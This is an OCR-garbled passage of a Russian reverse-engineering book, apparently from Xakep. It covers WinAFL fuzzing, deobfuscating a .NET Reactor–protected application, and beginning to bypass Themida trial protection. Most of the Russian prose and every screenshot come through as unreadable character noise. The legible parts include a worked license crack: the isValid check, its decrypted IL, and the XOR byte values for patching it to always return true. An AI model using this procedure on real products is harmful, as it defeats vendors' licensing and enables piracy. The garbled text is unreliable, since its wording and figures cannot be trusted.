In OpenFileW, reading c:\winafl_build\out\.cur_input
Module loaded, iertutil.dll
In post_fuzz_handler
In pre_fuzz_handler
Exception caught: e96d7363
Everything appears to be running normally.
Coverage map follows:
I 01 0w ¢ ] u uw 0 w
[} 0 4 0 0

i 4

+

Puc. 4.20. Tekcrosbiit nor WinAFL

He 3a0yns Boikmounts aebar-pexum! C HuM WIinAFL orkaxercs $a33uth, gaxe eciu
Bce paboTaer, cchulasch Ha TO, YTO LieJeBas IporpamMmMa BblleTena no taim-ayry. He
BEPb €MY H BBIK/IIOYAH OTIAJKY.

AMmynauma pabotsl WinAFL

NHorna npu ¢a33uHre nporpaMmy Tak MEPEMBIKAET, YTO OHA KPALIMTCS AaXKe HA MOATO-
TOBHTEIBHOM 3Tane paborel WinAFL, nociie 4ero oH pasyMHO OTKa3bIBaeTcs NEHCTBO-
BaTh JAaiblie. YToObI XOTh KaK-TO B 3TOM pa3o0parbCs, Thl MOXEIIb BPYYHYIO 3MYJIHPO-
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BaTh paboty dazzepa. [I1s 3TOro CTaBb TOYKY OCTAHOBA HAa HAYall0 U KOHEL PYHKIHH IJIs
¢da33unra. Korna BbIMONHEHHE NOCTHUTHET KOHIA (YHKILHH, MPaBb apTyMEHTHI, PaBHSM
ctek, MeHsi RIP/EIP Ha Hayano pyHKLHH — M Tak, IOKa YTO-TO HE CIIOMAETCs.

CtabunbHOCTb

Stability — o4enb BaxxHblH napamerp. OH MOKa3bIBaeT, HACKOJIBKO KapTa MOKPBITHS KOJda
MeHseTcs OT utepauud k urepauuu. 100% — Ha KaxI0H uUTepaluu MporpamMma BeIeT
cebs1 abcomoTHO oauHaKoBO; 0% — Kaxcaas UTepalus MOJHOCTHIO OTJIMYAETCs OT Ipe-
npiayuieit. Pazymeercs, HaM HY»HO 3Ha4eHHe rae-1o nocepeanHe. Aprop AFL pemmn,
YTO OPHUEHTHPOBATHCSA HANO MpuUMepHO Ha 85%. B HamieM nmpuMepe ctaOMIBHOCTH Aep-
)uTCs Ha ypoBHe 9,5%. [lonararo, 370 MOKeT ObITh CBS3aHO B TOM YHCJIE C TEM, YTO MPO-
rpaMma cobpaHa CTaTHYECKH M Ha CTaOMIBHOCTb HETaTHMBHO BIHAKT KaKHE-TO M3 HC-
NOJb3yeMbIX OHONHOTEYHbIX QyHKIMHA. BO3MOXHO, U MYJIBTHUIIOTOYHOCTh TOXKE TOBIHSA-
J1a Ha 3TO.

HaGop BxoaHbix ¢hannos

Uem Gonblile MOKPHITHE KOJA, TEM BBIILIE HIAHC HAWTH 6ar. A MakCHUMaJIbHOTO TOKPBITHS
KOJZIa MOYKHO JOOMTBCS, CO3aB XOPOILIHi Habop BXoaHbIX (ainoB. Ecnu Tbl 3agancs ue-
n610 T0(a33uTh mapcepsl GaiioB KaKUX-TO XOPOIIO U3BECTHBIX (OPMATOB, TO, KaK rOBO-
pHTCS, YTl B IOMOILb: HEKOTOPBIM HCCIIEA0BATENSIM yIaBal0Ch COOpaTh BHYLIMTENbHBIH
Habop ¢aiinoB uMeHHO ¢ momMolepo napcuHra Belgaud Google. Takoi HaGop moTom
MOX@XHO MHHHMH3HPOBATh C MIOMOILBIO CKPHIITA winafl-cmin.py H3 TOTO )K€ PENO3HUTOPHS
WinAFL. A ecnu Tbl, KaK U s, MpeANOYUTAENIb TAPCHIKH (PaiiIoB MpoNpHETapHBIX (HOp-
MaToB, TO IMOMCKOBHK HE TaK 4acTto Oyzer crmocobeH momoub. [Ipuxomurcs nocuaers u
MOKOBBIPATHCS B IPOrpaMMe, YToOb! HareHeprupoBaTh HAOOP HHTEpECHBIX (aiIoB.

OTty4yaem nporpammy pyratbcs

Mos mporpamMMa OBOJIbBHO MHOTOCJIOBHA M pyrajach Ha HEBEPHbIH ¢opMar BXOIHOTO
¢aiina, nokaspiBas BCILIbIBarOLIe coobiieHus (puc. 4.21).

Taxue npobaemMbl Thl JIETKO CMOXKEIb BbIJIEYHTb, IPONATYUB HCIONB3YEMYIO MIPOrpam-
Mol OUOIHOTEKY HIIH caMy IPOTrpaMMy.

1007A920 int __ stdcall AfxMessageBox(char const *,
1007A920 i
1007A920 H
1007A920

18074920 arg_©
10074920 arg 4
18074920 arg 8

dword ptr &
dword ptr ©Ch
dword ptr 16h 19974920 int _ stdcall AfxMessageBox(char const *, unsigf

4 nw

1007920 10074320 ; CODE
1007A920 mov edi, edi 5 (Excer
10074922 push  ebp 10074920 retn  0Ch
1007A923 mov dbp, esp,  1907AQ23 ; iwma- TETEEEIE R s TS A ST 3w
1807A925 push edi 1007A923 mov ebp, esp

1807A925 push edi

10074926 call AfxGetModuleState(void)

Puc. 4.21. OTknoyeHre BCMNbIiBaOLWMX COOBLEHNIA
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HespepHbin peakTop.
BanambiBaem npotektop .NET Reactor

MBK

Hns 3awutel npunoxenuit .NET ot otnagku u peBepca CylLIeCTBYeT MHOXECTBO CIIOCO-
60B (wHdpoBaHHe, KOMNPECCUS U OPYTHe), a TAKKE CHELHATbHBIX NPOTEKTOPOB, TAKUX
kak, Hampumep, Agile.Net u Enigma. O B31oMe MHOrMX M3 HHX MBI yX€ IHCaJH
(https://xakep.ru/author/mikhail_kondakov/). CeromHs s pacckaxy, Kak nodopoTs
elle OJMH NoMyJsipHbIi npoTekTop u 06dyckatop — .NET Reactor.

Wrak, npeacraBum cebe Takyro THIOTETHYECKYIO 3aJady: Y HaC UMEETCS HEKOe IpHJIO-
XKEHHE C OHJIaHH-NIPOBEPKOH JIMLIEH3HH NpH 3arpy3ke. Ero ananus npu nomowu DIE ne-
tekTuT Hanuuue marpopmsl .NET. 3arpy3uB nporpammy B omiaauuk dnSpy, oOHapy-
XKHBAaeM Cpa3y [Be BELIH: IUIOXYI0 H Xxopoulyro. HauHy ¢ mioxoii: npuiioxeHue xecToko
00¢ycuupoBaHO, 4aCTb METOJIOB NE€pPEHMEHOBaHA B OECCMBICICHHBIH Ha0Op CHMBOJIOB,
a rIaBHOE, BMECTO HX KOJIa OBCIOY MyCThIe 3armyuikH (puc. S.1).

Do o

& aSpy 3481 B8

Yew Dy oo Nty O O L w

e, :

0, b : void GO6AWA

©, Erger P T isxoact, bosk: wié OO
e, objec) ; sbpact QORI
e,
e,
[ %
°,

51(obiact, bool ; veh )

4 F ik bost QUINND
@ g svalidl); oot @OG0KIAZ
b Saoudiodn; - - el STRORR
B, aTLT DU : Doad GONN0AST
B, 14RINZAY ; bool GOLTBAS2

- o %
bt O
-« I
- 255 7/ Baroer $iun: 1 byte -
366, #f Codw $ians & (OB} Brykes
0y maastack 8
3
a2 7° Sxbaelner 08 ¢ 35 0 nip
E ) 77 no00YEi2 04 2/ 14, 0081; nop
51 ¢ BuseRsERes 1» < 5, eoee: Iat. 143
104 2 GRONIEEFS 24 4 3 0083 rut
x Al emd et acttad, | .. wigeR lebemcsericonsy Y
93 24 Tkent RED: 25258 WYR: File #Ffsrt: B:00038508
k) «asthod public hisebysiyg specisicame
;v; Inseance Boal gec_Ta¥ulid {) oi) esnoged nelaltafeg
5 f
il #4 weanhe Size 12 bytey
@ ££ Code Si3e: & (Bxa) bytes
3 s srack 1
A%
32 2 &Hr2esIsiie W *{ ., S80; rap
Py ¢ RuateTIFY 08 4 1, 8801 mp
b 7 SRS 17 7 Vi 6021 dae.id.d
sih 1% GuEEOIBST 3 4 1 00B3; rey
ﬂ e ) 22 g ot sathoy § Tares 1 gat Isvaisy -
;e -
Coff Geck. -
Name

v Locsle’ CallStack | Sewch Outpiot, Memory| Analyses Breskpeinty

Puc. 5.1. Npunoxexue B oTnagyuke dnSpy
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[ o4MCTKH coBecTH Npo0yeM CIaMITUTh MPHIIOKEHHE — 3TO YaCTEHBKO MOMOraeT BOC-
CTaHOBHTH CKPBITBIH KOJ METOAOB. YBBI, HE B HallleM ClIy4ae: CIaMIUIEHHbIe MOIYJH pa-
60TOCIOCOOHBI, HO HECHJIBHO OTJIMYAIOTCA OT MCXOAHBIX. O0dyckalus HHUKyOa He Ie-
Jach, Teja METOIOB BCE PABHO MYCTHIE.

BosBpamaeMmcs B omniagquuk dnSpy u npoOyem morpaccupoBath pabOTaIOIIYI0 MPOrpaM-
My. A BOT M XOpollasi HOBOCTb: B MPHJI0XKEHHH HET aHTHOT/JIaq4HKa, OHO MPEKPacHO 3a-
MyCKaeTcs M TpacCHUpyeTcs, MPHYEM MPH TPACCHPOBKE «IYCTBIX» METOAOB BO BKJIAJIKE
Call Stack BHAHO, 4TO CUETYMK KOMaH] MepeMellaeTcs no HeBUAUMOMY KOIy M NpoBa-
JIuBaeTcs B BbI30BHIL. [lorynsB Bcienyro Mo Kony, Mbl 0OHapy)KHBaeM ele OJHY XOpo-
IIYI0 HOBOCTb: HE BCE METOMBI NIepeMMEHOBaHbI, HEKOTOPhIE Ha3BaHHUS BIIOJHE OCMBIC-
JIEHHBI, © MOXXHO Ja)Ke HallynaTh MpOLEeAypy MPOBEPKH BATHUIHOCTH (Ha CKPHHILOTE
BBIlIE — isValid). Tea0 JaHHOrO MeToja CKPBITO, HO Ha3BaHHE U HHIEKC U3BECTHBI, H 3TO
yIKe 4TO-TO.

IMonpoGyem nonoitu k neo6dyckaluuy Mo CTaHAAPTHON CXeMe: Ul Hayajla HaTpaBiHBa-
eM Ha npunoxenue de4dot. K coxaneHuto, B HalleM ciyyae 3TOT METOA He paboraer,
de4dot Huuero He neobdycuupyet. bonee ctapeie BepcHu cpasy BalsTCs C OIHOKOM:

deddot v3.1.41592.3405 Copyright (C) 2011-2015 ded4dot@gmail.com
Latest version and source code: https://github.com/0xd4d/ded4dot
Detected .NET Reactor 4.8

HeobpaboraHHoe mcrmoueHme: System.Security.Cryptography.CryptographicException:
HemonycTimas mimmHa IOaHHEIX 071 OeumppOBaHMA .

B
System.Security.Cryptography.RijndaelManagedTransform.TransformFinalBlock (Byte [
] inputBuffer, Int32 inputOffset, Int32 inputCount)

B deddot.code.deobfuscators.DeobUtils.AesDecrypt (Byte[] data, Byte[] key,
Byte[] iv) B D:\a\deddot-cex\deddot-
cex\deddot.code\deobfuscators\DeobUtils.cs:cTpoka 87

B
deddot.code.deobfuscators.dotNET Reactor.vd.EncryptedResource.DecrypterVl.Decry
pt (EmbeddedResource resource) B D:\a\deddot-cex\deddot-

cex\de4ddot.code\deobfuscators\dotNET Reactor\v4\EncryptedResource.cs:cTpoka 225

B deddot.code.deobfuscators.dotNET Reactor.vé.EncryptedResource.Decrypt ()

Bepcun nocsexee GopMynHpyIOT OIIHOKY JIAKOHHYHEE:

Latest version and source code: http://www.deddot.com/

21 deobfuscator modules loaded!

Detected .NET Reactor 4.8

ERROR:

ERROR:

ERROR:

ERROR: Hmmmm... something didn’t work. Try the latest version.

Hy teneps MbI x0Ts ObI 3HaeM, ¢ yeMm umeeM aeno, — 31o .NET Reactor Bepcuu npeamno-
JI0)UTENBHO 4.8. BepcHs JOBOJIBHO CTapasi, OAHAKO C HEM He CIPABIAETCS Ja)ke CHELH-
anbHO 00yueHHsIit non .NET Reactor de4dot. Omubka Ta sxe, 1 HaM CHOBA IIpeJIaraloT
MOMCKATh BEPCHIO NTOCBEXEE.
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TpyaHOCTH HaC He OCTAHABIHMBAIOT: B KOHIIE KOHLIOB, MBI YK€ Hay4HIIHCh pa30Hparts 60-
nee kpyTble o0dyckaTopsl THra Agile 6ykBaJbHO H3HYTPH Ha CAMOM HHM3KOM YpPOBHE.
3arpy>kaeM Hally 3JI0I0JY4YHYIO porpaMmy B otinaauuk x32dbg. Jlabbl He TpaTUTh Bpe-
Msl, ONTyCKAl0 JJIMHHOE OMHCAaHHE TEOPETHYECKOH yacTH mpouecca. Bkpartue: 3arpyxaem
O0uOMHOTEKY cljit.dll, OTJIAZOYHbIE CHMBOJBI K HEH M CTABHM TOYKY OCTaHOBA Ha BXOJ
JIT-xoMnunsATOpa CILJit: : compileMethod.

VYkazaHHbIH criocob paboTaer, TO €CTh NIPH KaXKIOM BbI30BE KOMITHIIATOPA B 10JI€ ILCode
CTPYKTYpPbl CORINFO_METHOD INFO MBI BUAMM paciindpoBanHbli [L-kox kaxxmoro Merona.
B npuHIune, MOXXHO aHAJIM3UPOBATh KO M AaXKe MAaTYUTh Ha JIETY, HO 3TO JOJIO U YTO-
MHTENbHO, BIOOABOK HAC JKAET €llle OAHA JOoXka Jerts. HamomHio, 4to cyuiecTByer
ClIerKa XYJNbHHYECKHH CIOCOO ONpeAeaHTh HHIAEKC KOMITHJIHMPOBAHHOM INPOLEAYpHI.
CyTb €ro COCTOMT B TOM, YTO XEHMI ftn (TepBoe [ABOHHOE CIOBO B CTPYKType
CORINFO _METHOD INFO), €CJIM €r0 HCIIOJIb30BaTh KaK yKa3aTellb, yKa3blBaeT HA OJHHAPHOE
cnoBo — unaekc Meroga B .NET meranate EXE-Monyns.

Tak BOT, 3TOT XanTypHbIH crocod paboTaeTr He Bcerzaa, B 4eM Mbl C OTOPUYEHHEM H yOex-
JaeMcsi. 3Has MHIEKC METOA isvalid 25250 (0x62A2), [€JIA€M YCIIOBHEM OCTAHOBKH Ha
OpeiK-moiHTe CILJit::compileMethod BBIP@XEHHE word: [[[esp+0xc]]]==0x62A2, HO
TOYKa OCTAHOBA HE CpPabaThIBAET, XOTs ONMpPEAENECHHBIE 3TUM CIIOCOOOM HHAEKCHI Ha IpY-
I'HX METOJax MOXO0XH Ha NmpaBuibHbIE. YTO-TO MOLIO HE TaK, HAO0 HCKaTh Oosee Kop-
PEKTHBIH criocob naeHTHHKaH MeToa. IHBIMH CIOBaMH, IBIXKEHHE IO 3TOMY ITyTH,
KOHEYHO, MEpPCIEKTHBHO, HO TEPHHUCTO, a U CaM IyThb FOTOBHUT HaM MaccCy MOIOOHBIX
croprpu3oB. [1o cyacThio, A7 HaLIero ciyyas ecTh M 6oJiee MpocThle CIOCOOb! PELIEHHs
3ama4yM, MO0 yYMHBIE IO, KaK 00BIYHO, BCE MPHAYMAJIH 3a Hac.

O dtpy 101088 - B %
G (M Yew Doy wndow b @ © U W R AR e P
ey -«
© taWwm - L £d imtera: BYECORSAAR RI0Y 15254 BVA: OxPEIHIN file Offsely @xIBIRINAC -
B, S RQPHGANCARD : vord QUBTRAICH Z metod pilills hidemysig apeciadname
(% : Snatance bobl gez, Zsvells ) €33 waniged
t
My Mt T S| 24 remiee Sies 32 bytes
Ul : vord S # Code $laey 281 (@aAL) Dites
e, VIRGAGAS T fardsbpect bocd; veid GURAICH 2 F7 LotaiVaraty Toen: Sx1100908% AZ0T 1
e, N ':— 8 emmskack 3
e " " 2 Cloeais Snft (
& G objecs 3 fa a3z
e, e 2% '
S e 3
- Sert ' &5 £ GengAsESEY 2500 bR 6RG: Brs 5_G66S
Ve
4 “““‘M“‘"““”Wﬁ B omesmemnrr e ol b
)» ummwmm«mwmc‘ i 7« sopnisipie 14 4 1u_8607: Jamull
(X +R0FC2 W 7> BRNIABI0 16 7 31,60483 Iée.ik.2
P B Acaonkeys wing @10 18 7% SwplISESTY 94 7 L0092 idem. oot
(¥ ‘ 4 it £ theboYSHETE 26 * 3L 009%; pup
:: B e T 3 exeman “# 31, 0088 bie. 4.8
PP Eestont . sefieduc MY é: /7 DREOIIASTS 2509 7R _BRED: WRruR.E 1L QWM 2
P F phawitn: oo @UORFCY WoW =
3 batnatetbaenei: boot Q12080 2
)}‘ g von: bool GIOFEA Gl Snck L
F vhxpired ; hoot @ 17000FCD Nome
’ ; Wmm:mxmmm
C
(&4 Mﬁm%xhﬂdtmi
4
¥ P isieneictuceme: wmwm
“p m=mmw
© phist
»p 5
©, 2790 TLAC : Bows GGUIAS
©, STUTKLAV: boot GOAADAL
@, o0 1M : Socd GOMINAD
oS i O ATRAY » Lo i Sack Seich Outpa Memeny| At Beskpois

Puc. 5.2. Mogynb nocne NetReactorSlayer
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A mpugymanu oHu npoekt mon HasBaHueM NetReactorSlayer (https://github.com/
SychicBoy/NetReactorSlayer). Tak ke, kak 4 ynomsHyThIii Beie Moa ded4dot, oH 3ato-
4eH noj pacupoBky U geobgyckamuio .NET Reactor, Ho B oT/iMune oT npeapiayIlero
OH HE BAJIUTCA C OIIMOKOMH, a BroJiHe cebe yCmemHo co3gaer Aeo0dyCcuupoBaHHBIH MO-
Iy7b, B KOTOPOM METOJBI YK€ He CKPBITHI OT Au3acceMbnupoBanus B dnSpy (puc. 5.2).

Ilpnuem neobdyckaumeli MOXKHO yNpaBisATh: y HPOTpaMMbl €CTh KIIOUHM KOMaHIHOMN
crpoku. K nmpumepy, npu Henoap30BaHHH KiTloda --no-deob (Don’t deobfuscate methods)
MBI NIOTy4aeM HCXOAHbIH 00¢ycuupoBaHHbIH 6aliT-KOJ METOAa B TOM BHAE, B KOTOPOM
OH xpaHuTcs B (aitne. [Ipu orcyTcTBHH e 3TOTO KItoya o ymonuyanuio NetReactorSlayer
MBITAETCA OTQHIBTPOBATH KOJ OT Mapa3sHTHBIX HHCTPYKIHHA B UCXOOHBIH BHI A0 00dyc-
kanuy. Hanpumep, o6¢ycuupoBaHHBIH KO HMCKOMOTO METOAa isValid BBITISAMT BOT
TaK:
public bool get IsValid()
{
while (false)
{
object arg 0A 0 = null([0];
}
int arg_66 0 = 0;
while (true)
{
switch (arg 66 0)
{
case 0:
if (!this.IsActivated)
{
arg_66_0 = 4;
if (!false)
{

continue;

break;
case 1:
case 4:

goto IL 49;
case 5:

goto IL 93;
}
IL 32:
if (!this.IsEvaluation)
{

return true;
}
arg 66_0 = 5;
if (false)
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goto IL 49;
}
continue;
IL 83:
goto IL 32;
IL 49:
if (this.IsGenericLicense)

]
i

goto IL 83;
}

return false;
}

¥

IL 93:
return this.DaysLeft > 0;

A nocne neo6dyckanuy CBOpayMBaeTcsi B KOPOTEHHKOE OJHOCTPOYHOE BBIPAXKEHHE!
public bool get Isvalid()
{

return (this.IsActivated || this.IsGenericlLicense) &&
(!'this.IsEvaluation || this.DaysLeft > 0);

}

To ecTb MBI (pakTHUECKH TOOMINCH CBOEH e — OTKPBUIM KOJ M Jaxe neo0dycuupo-
BaJIM €ro, HO, K COXAJICHHIO, CTOJb OJM3KOe CHacThe CHOBAa YCKOJIb3aeT OoT Hac. Jleo0-
($ycUHpOBaHHBIH MOIYJIb HAlIPOYb HEPAOOTOCIOCOOEH: MPH 3aMyCKe MPOrpaMMBbl OIIHO-
KH CBHIIUIIOTCS B CaMbIX HEOXHMJAHHBIX MECTax, M HHKakHe KOMOHMHAIMH KIo4YeH
NetReactorSlayer He pemator 3Ty npobuemy. Ilpu GmmxkaiiiieMm paccMOTpEHHH MBI IO-
HHMAaEeM U €€ CyTh: HECMOTPs Ha BCIO CBOIO MoJIe3HOCTh, NetReactorSlayer He BonmmeOHas
KHOTIKA, a Pa3BUBAIOLIMICS MPOEKT, K COXKANEHHIO, TAJIEKHH OT coBepllieHcTBa. B Heko-
TOpBIX METOJAX HA3BaHHs MOTEPSHBI, KOJ TaK M HE OTKPBIT, M Aeo0dycKkauns ocTaBiser
KEJaTh Jy4IIero.

Ecnn y Te6s1 MHOrO BpeMeHH M TepIeHHs, MOXXHO BIYMUYHBO U KPONOTIHUBO MOPHUKCHTD
Ka)<IAblif NpoONeMHBIH METO, HO MbI, KaKk OOBIYHO, MonpoOyeM HalTH Oojiee KOpPOTKUH
nyTh. [lo cuacteio, y Hac ectb ucxoausiif koa NetReactorSlayer, monpo6yem ero mpo-
aHanu3upoBarb. CHOBa He Oyay BHaBaThCs B MOAPOOHOCTH, )KETAKOIIHE MOTYT OTKPBITh
NPOEKT ¥ NoAPoOHO B HEM pa3oOparbcsa. BmecTo 3Toro s 3a0cTpro BHUMaHHe Ha onpeje-
JIEHHBIX MOMeHTax. PacmmngpoBkoit kona B MpoekTe 3aHMMaeTcss MOAYJb NecroBit.cs,
a KOHKPETHO — METO/[| Execute. DTOT METOJ CUHTHIBAET U3 00(YCLIMPOBAHHOIO MOIYJIs
6510k 3amn$poBaHHBIX JaHHBIX U B ABa IpueMa pacmudpossiBaet ero. [locie ctpokn

XorEncrypt (methodsData, GetXorKey (decryptorMethod))

MAacCHB methodsData COAEPXKHUT paciu(poBaHHbIN KOJ METOROB 00(YCLHPOBAHHOTO MO-
ayas. aeait mocMoTpuM, uto NetReactorSlayer mpoaensiBaeT ¢ 3THM MacCHMBOM Jalblle,
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U BBIACHUM MPUMEPHBIH (opMaT XpaHeHHUs NaHHBIX B HeM. LMK uTeHHs U aHamu3a Bcex
pacmu(prBaHHbe METOAO0B BBITJIAAUT TaK:

while ((ulong)methodsDataReader.Position < (ulong) ((long) (methodsData.Length -
1))

{

int size2 = methodsDataReader.ReadInt32(); // Pasmep IL-xoma Mmeroma
byte[] methodData = methodsDataReader.ReadBytes (size2); // IL-xom Meroma
if (!rvaToIndex.TryGetValue(rva3, out int methodIndex)) // methodIndex

— MHIEKC MeToda

{
Logger.Warn("Couldn't find method with RVA: " + rva3);

}

else

{
uint methodToken = (uint) (100663297 + methodIndex); TokeH MeToma

Bort cpa3y 3a 3THM MecTOM MBI yke 3HaeM cMelleHHe 10 paciuudposanHoro IL-koxa me-
TOAa HYXXHOTO HaM MHJEKca U caM pacmudpoBaHHbINA koa. B Hamewm ciydae IL-kox me-
TOZAA isValid BBIMJIAIUT TaK:

/* 0x00158568 2B09 */ IL 0000: br.s IL 000B
/* 0x0015856A 28FFFFFFFF  */ IL 0002: call <null>

/* 0x0015856F 14 */ IL_0007: ldnull

/* 0x00158570 16 */ IL 0008: 1ldc.id.0

/* 0x00158571 9A */ IL 0009: ldelem.ref

/* 0x00158572 26 */ IL_000A: pop

/* 0x00158573 16 */ IL_000B: 1ldc.i4.0

/* 0x00158574 2DF9 */ IL 000C: brtrue.s IL 0007

YroO6k! mobas IHLeH3Us cTajla BaJ'IHJIHOﬁ, HaM J0CTAaTOYHO NMOMECHATH B 3TOM KOJ€ /1Ba
nepBbIx GaifTa Ha ClIeayIOIIHE:

/* 0x00158568 17 */ IL_0000: 1dc.i4.0

/* 0x00158569 2A */ IL _0001: ret

B ucxoaHom (HepacmuppoBaHHOM) MOAYJIe MO 3TOMY RVA 3HaueHHUs IBYX 0aiTOB cOOT-
BETCTBEHHO paBHbI 9E F4. [lo cyacTblo, MeTon muppoBaHus AaHHbIX — 00bIuHBIT XOR
no kmoyvy. [To3ToMy, 4TOOBI MOMEHATh MX HAa HYXKHbIE, BCTOMHHAEM MOIO CTaThiO MpO
naty uHctamwsTopa (https://xakep.ru/2020/09/07/msi-hack/), rone Mbl npoaenblBanu
aHaJIOTHYHYIO ONEepaLHIo.

CuynTaeM HOBBIE 3HAYEHHUS ITHX ABYX 0aiTOB:

text
9E XOR 2B XOR 17 = A2
F4 XOR 09 XOR 2A = D7
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MensieM 3TH ABa OaliTa Ha HOBbIE 3Ha4YCHHS M Ha BCSAKHH Clydai mpoBepsieM MpaBHIIb-
HOCTb 3aMEHBI, €1IE pa3 HaTpaBUB Ha HCIpaBiIeHHbIH MOay b NetReactorSlayer.

bunro! Teneps u BpaBay AEKOAHPOBAHHOE TEJIO METOMA COAEPKHT TOJBKO return true,
4YTO M NOATBEP)KIAET 3allyCK NMPOrpaMMbl — JIHLEH3Hs noaxoaut! TakuM oOpa3zoM, Mbl
NOJYYHIIH HE TOJIBKO MOJIE3HBIH paclIMpsIeMblH H COBEPILIEHCTBYEMbIH HHCTPYMEHT IS
peBepca npunoxeHuH, samumeHHsix .NET Reactor (B TOM 4Hclie HECTaHIAPTHBIX), HO H
OBICTpBIN crocob rmatdya nmoJOoOHBIX MPHIIOKEHHH Oe3 MOJIHOTO peBepca M nepecOOpKH
pOTrPaMMBI.
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demunpa gpemMner.
Kak paboTtaeTt ob6xop 3awmTtbl Themida

MBK

Themida, nnu «®eMuna», — oaHa U3 caMBIX HABOPOYEHHBIX 3alIMT M1 codra. Bmecte ¢
VMProtect ee 0OTHOCAT K HACTOJNBKO CYpPOBBIM MPOTEKTOPaM, YTO NPOrPaMMHUCTHI, KOTO-
PBIM JKalb JEHEr Ha YECTHYIO MOKYNKY 3THX MHCTPYMEHTOB (@ CTOAT OHHM HEELIEBO),
NPOCTO HMHUTHPYIOT HX HaJIH4He, YTO OTIYTMBAET JICHUBBIX H HEONMBITHBIX XakepoB. Ce-
TOZIHS MBI [IOTOBOPHM O TOM, KaKk COPOCHTBH TpHaJl IPHIIOKEHHS, 3aLIMIIEHHOTO HACTOSA-
we# Themida.

BHUMAHMUE!

3TOoT MaTepuan HanucaH B UCCNeaoBaTENbCKUX LIeNsiX, UMeeT 03HaKOMUTENbHbLIN XapakTep
¥ nNpeaHasHayeH ans cneuunanuctos no 6esonacHOCTU. ABTOp M peaakuus He HeCyT OTBeT-
CTBEHHOCTW 3a nobon Bped, NPUYNHEHHBLIN C NPUMEHEHUEM WU3NOXEHHOW WHGOPMaLUK.
Wcnonb3osaHue unu pacnpoctpaHenune MO 6e3 nuueH3aun npousBoanTens MoOXeT npecne-
[OBaTbCs MO 3aKOHY.

HecmoTps Ha mmpokyto nomynspHocTs Themida, BEICOKYIO CTOMMOCTB B3JIOMa H, COOT-
BETCTBEHHO, 00J1b1II0€ KOJIMYECTBO MaHYyallOB H BUAECOYPOKOB B CETH, OHH MOYTH Bcerzaa
6ecrione3nbl. OHHM B OCHOBHOM OIMCBIBAIOT CHATHE CTapblX BepcHi 3amuThl 1 U 2. Yxke
TPEThs BEPCUS YCTPOEHA HACTONBKO CIOXHEE, YTO B MabIHKe HET YHHBEPCAIbHBIX HHCT-
PYMEHTOB M CKPHIITOB I €€ B3JIoMa MM o6xona. M naxce Ha CTapblXx BEpCHAX BCErnaa
HaxoJATCa KaKHe-TO HIOAHChI, HCKIIIOYAIOIHE BO3MOXXHOCTh YHHBEPCAJIIBHOIO OJHOKHO-
MOYHOT'O PELICHHS.

ITosToMy s He OyAy OCTaHaBIMBATLCH ceifiyac Ha «TPAAMLHOHHBIX» crocobax obxoxma
«DeMuIb», 2 BMECTO 3TOTO OMHUIIY HaHOoJiee MPOCTON M MOHATHBIAH METOA HCCIeN0Ba-
HHS, B3JIOMa M NaT4a OJHOTO M3 3ALUINEHHBIX rpadUYecKUX MPHIOKEHHH. JTa mpo-
rpamma ucrnonb3yeT Themida TpeTbeit BepcHH, a Mbl, KaK OOBIYHO, BOOPY>KHMCS JIHILb
MHHHMAaJbHBIM Ha0OPOM JOCTYIHBIX HHCTPYMEHTOB (x64dbg 1 ero niuaruHsi).

HyxHo 3ameTuth, uTo 11 obHapyxeHus Themida He ciemyer cHIBHO mojaraTbcs Ha
Detect It Easy. C aTuM mpoTekTOopoM ropasmo jayuuie paboratot Nauz File Detector u
Exeinfo (puc. 6.1, 6.2).
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Puc. 6.1. Nauz File Detector
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Puc. 6.2. Exeinfo

BusyansHo ke Ha npucyTcTBHe «DeMuabI» B (aiine kak Obl HAMEKaeT HaJTHYHE MEXIY
CeKLHUAMHU .idata M .pdata JABYX CEKLHH C HEMPOM3HOCHMBIMH Ha3BaHHSAMH W3 BOCHMH
ClTly4yalHbIX CHMBOJIOB. Bripouem, B TpeTbeit BepcHH pa3pabOTUHKH yKE€ HE CTECHSACH
NpsAMO Ha3bIBAIOT CEKLMH .themida M .boot. KoJ rapaHTHpoBaHHO 3allM(poBaH, yHnako-
BaH M CTATHYECKOMY aHaJIH3y U peBepCy He MOJAeTCs.

IMosToMy monpoOyem 3arpy3uTh HakpbiTYlo Themida nmporpamMmy B Hall JHOOMMBIA OT-
nanuuk x64dbg. Pazymeetcs, Bce mioxo: NpH cTapTe OTJIaAYHK MPOBaJIHBAETCS B BUPTY-
albHYH0 MalllMHY, CTOJIb CTPALIHYI0 Ha BHJ, YTO OTOMBAETCs BCAKas 0XOTa C HeH pa3ou-
patbcsi. XOTA B OTAENBHBIX CIyYasX 3TOrO HE H30eXaTh — CKaXXeM, MPH MPUBS3KE KOH-
KPETHO# MporpaMMbl K KOMIBIOTEPY HIIM JOHTY. B n060M ciydae 3TOT myTh HEMPOCT U
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TEPHHUCT: BUPTYaJIbHasA NporpaMMa MrHOB€HHO INaJIUT OTJIAQYHK, BI00AaBOK OHA OTCJIEXH-
BaeT TAMHUHT NMPOXO0XKACHHA OTACIIBHBIX Y4aCTKOB CBOECIr0 KOJa.

C xoqy NpHaTTaYMUThCA K YXKE€ aKTUBHOMY IIPOLIECCY TOXE HEIb3s, Pa3paboOTUHKH U 3TO
npexycMmoTpend. IlonpobyeM caenars 4yTh XMTpee — BO3MOXHO, Thl IIOMHHIIb 3aMeya-
TeJIbHbIH aHTHAHTHOTIan0uHbIH mnaruH ScyllaHide s x64dbg. B aTom ruiaruse cnenu-
aJIbHO IJIS JICHUBBIX Y>K€ MOATOTOBJIEHBI NMPOGHIH NMOJ KXYy NOMYJSAPHYIO 3allUTYy.
KoneuHo e, moxo6Hsli npodunb TaM ectb U 11 Themida. [TpaBaa, He MIHOKO CHIIBHO
OH HaM MOMOXET: IpPHU 3arpy3ke NporpaMMsbl OH HE CIIacaeT OT aHTHOTIaJUHKa, OJHAKO
NPHATTaYUTHCS K 3aIyIUEHHOMY NPHIIOXKEHHIO YK€ ITO3BOJISET.

Tonky, npaBza, ¢ 3TOro HEMHOr0: MOCJIE TaKOro Opsika TpacCHpOBKa yOHBAeT mporpaMmy
HanoBai. Ho 310 yxe mporpecc — nanee mo CTaHIapTHOH cXeMe, onpoOOBaHHON HaMH
panee Ha Enigma, Obsidium u npo4ux, npoOyeM cIaMIUTh NpEpBaHHBIA MPOLECC NPH
MIOMOILY JPYroro CrenHalbHO NpeJHa3HaYeHHOro U1 3Toro rarnHa — Scylla.

ITpunoxenne namnurcs ycneuHo. Kak o6eI4HO, Hao HCKaTh TOYKY BXOJa, U BO MHOTHX
